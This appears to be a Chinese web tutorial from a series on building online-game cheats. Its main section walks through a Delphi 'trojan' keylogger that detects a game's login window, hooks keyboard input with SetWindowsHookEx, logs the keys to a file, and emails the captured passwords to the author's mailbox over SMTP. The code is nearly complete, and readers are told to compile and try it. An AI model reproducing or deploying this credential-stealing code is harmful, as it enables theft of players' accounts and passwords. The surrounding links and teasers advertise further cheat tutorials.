四种网络游戏外挂的设计方法(三)

开始看网络游戏外挂制作类书 一些文章﹐對你有用﹗网络游戏外挂编写初级教程 http://www.csdn.net/develop/article/21/21361.shtm网络游戏外挂制作之我所见(1) http://www.csdn.net/Develop/Read_Article.asp?Id=17641网络游戏外挂制作之我所见(2) http://www.csdn.net/Develop/Read_Articl 阅读详情
木马式外挂

  木马式外挂,可能大多像木马吧,是帮助做外挂的人偷取别人游戏的帐号及密码的东东。因为网络上有此类外挂的存在,所以今天不得不说一下(我个人是非常讨厌这类外挂的,请看过本文的朋友不要到处乱用此技术,谢谢合作)。要做此类外挂的程序实现方法很多(比如HOOK,键盘监视等技术),因为HOOK技术对程序员的技术要求比较高并且在实际应用上需要多带一个动态链接库,所以在文中我会以键盘监视技术来实现此类木马的制作。键盘监视技术只需要一个.exe文件就能实现做到后台键盘监视,这个程序用这种技术来实现比较适合。

  在做程序之前我们必需要了解一下程序的思路:

  1、我们首先知道你想记录游戏的登录窗口名称。

  2、判断登录窗口是否出现。

  3、如果登录窗口出现,就记录键盘。

  4、当窗口关闭时,把记录信息,通过邮件发送到程序设计者的邮箱。

  第一点我就不具体分析了,因为你们比我还要了解你们玩的是什么游戏,登录窗口名称是什么。从第二点开始,我们就开始这类外挂的程序实现之旅:

  那么我们要怎么样判断登录窗口虽否出现呢?其实这个很简单,我们用FindWindow函数就可以很轻松的实现了:

HWND FindWindow(

LPCTSTR lpClassName, // pointer to class name
LPCTSTR lpWindowName // pointer to window name
);


  实际程序实现中,我们要找到'xx'窗口,就用FindWindow(nil,'xx')如果当返回值大于0时表示窗口已经出现,那么我们就可以对键盘信息进行记录了。

  先首我们用SetWindowsHookEx设置监视日志,而该函数的用法如下:

HHOOK SetWindowsHookEx(

int idHook, // type of hook to install
HOOKPROC lpfn, // address of hook procedure
HINSTANCE hMod, // handle of application instance
DWORD dwThreadId // identity of thread to install hook for
);


  在这里要说明的是在我们程序当中我们要对HOOKPROC这里我们要通过写一个函数,来实现而HINSTANCE这里我们直接用本程序的HINSTANCE就可以了,具体实现方法为:

hHook := SetWindowsHookEx(WH_JOURNALRECORD, HookProc, HInstance, 0);


  而HOOKPROC里的函数就要复杂一点点:

function HookProc(iCode: integer; wParam: wParam; lParam: lParam): LResult; stdcall;
begin
if findedtitle then file://如果发现窗口后
begin
if (peventmsg(lparam)^.message = WM_KEYDOWN) then file://消息等于键盘按下
hookkey := hookkey + Form1.Keyhookresult(peventMsg(lparam)^.paramL, peventmsg(lparam)^.paramH); file://通过keyhookresult(自定义的函数,主要功能是转换截获的消息参数为按键名称。我会在文章尾附上转化函数的)转换消息。
if length(hookkey) > 0 then file://如果获得按键名称
begin
Write(hookkeyFile,hookkey); file://把按键名称写入文本文件
hookkey := '';
end;
end;
end;


  以上就是记录键盘的整个过程,简单吧,如果记录完可不要忘记释放呀,UnHookWindowsHookEx(hHook),而hHOOK,就是创建setwindowshookex后所返回的句柄。

  我们已经得到了键盘的记录,那么现在最后只要把记录的这些信息发送回来,我们就大功造成了。其他发送这块并不是很难,只要把记录从文本文件里边读出来,用DELPHI自带的电子邮件组件发一下就万事OK了。代码如下:

assignfile(ReadFile,'hook.txt'); file://打开hook.txt这个文本文件
reset(ReadFile); file://设为读取方式
try
While not Eof(ReadFile) do file://当没有读到文件尾
begin
Readln(ReadFile,s,j); file://读取文件行
body:=body+s;
end;
finally
closefile(ReadFile); file://关闭文件
end;
nmsmtp1.EncodeType:=uuMime; file://设置编码
nmsmtp1.PostMessage.Attachments.Text:=''; file://设置附件
nmsmtp1.PostMessage.FromAddress:='XXX@XXX.com'; file://设置源邮件地址
nmsmtp1.PostMessage.ToAddress.Text:='XXX@XXX.com'; /设置目标邮件地址
nmsmtp1.PostMessage.Body.Text:='密码'+' '+body; file://设置邮件内容
nmsmtp1.PostMessage.Subject:='password'; file://设置邮件标题
nmsmtp1.SendMail; file://发送邮件


  这个程序全部功能已经实现,编编试试。

修改网络游戏秘籍—设计游戏外挂编写基础  要想在修改游戏中做到百战百胜,是需要相当丰富的计算机知识的。有很多计算机高手就是从玩游戏,修改游戏中,逐步对计算机产生浓厚的兴趣,逐步成长起来的。不要在羡慕别人能够做到的,因为别人能够做的你也能够!我相信你们看了本教程后,会对游戏有一个全新的认识,呵呵,因为我是个好老师!(别拿鸡蛋砸我呀,救命啊!#¥%……*)  不过要想从修改游戏中学到知识,增加自己的计算机水平,可不能只是靠修改游戏呀!要知道 阅读详情

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